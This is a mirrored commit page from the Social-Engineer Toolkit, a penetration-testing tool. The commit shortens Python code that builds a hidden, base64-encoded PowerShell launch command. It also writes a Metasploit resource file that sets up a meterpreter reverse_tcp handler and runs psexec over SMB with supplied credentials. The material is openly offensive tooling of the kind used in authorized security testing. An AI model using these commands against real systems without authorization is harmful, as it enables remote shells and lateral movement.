mirror of
https://github.com/trustedsec/social-engineer-toolkit
synced 2025-03-04 15:27:19 +00:00
Slimmed down powershell psexec code
This commit is contained in:
parent
8e53e3bec9
commit
496d030700
1 changed files with 2 additions and 2 deletions
|
@ -53,7 +53,7 @@ try:
|
|||
|
||||
x86 = file(setdir + "/x86.powershell", "r")
|
||||
x86 = x86.read()
|
||||
x86 = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + x86
|
||||
x86 = "powershell -nop -window hidden -noni -enc " + x86
|
||||
print_status("If you want the powershell commands and attack, they are exported to %s/reports/powershell/" % (setdir))
|
||||
filewrite = file(setdir + "/reports/powershell/x86_powershell_injection.txt", "w")
|
||||
filewrite.write(x86)
|
||||
|
@ -63,7 +63,7 @@ try:
|
|||
|
||||
# write out our answer file for the powershell injection attack
|
||||
filewrite = file(setdir + "/reports/powershell/powershell.rc", "w")
|
||||
filewrite.write("use multi/handler\nset payload windows/meterpreter/reverse_tcp\nset lport %s\nset LHOST 0.0.0.0\nexploit -j\nuse auxiliary/admin/smb/psexec_command\nset RHOSTS %s\nset SMBUser %s\nset SMBPass %s\nset SMBDomain %s\nset THREADS %s\nset COMMAND %s\nexploit\n" % (port,rhosts,username,password,domain,threads,command))
|
||||
filewrite.write("use multi/handler\nset payload windows/meterpreter/reverse_tcp\nset lport %s\nset LHOST 0.0.0.0\nexploit -j\nuse auxiliary/admin/smb/psexec_command\nset RHOSTS %s\nset SMBUser %s\nset SMBPass %s\nset SMBDomain %s\nset THREADS %s\nset COMMAND %s\nset EnableStageEncoding true\nset ExitOnSession false\nexploit\n" % (port,rhosts,username,password,domain,threads,command))
|
||||
filewrite.close()
|
||||
msf_path = meta_path()
|
||||
# launch metasploit below
|
||||
|
|
Loading…
Add table
Reference in a new issue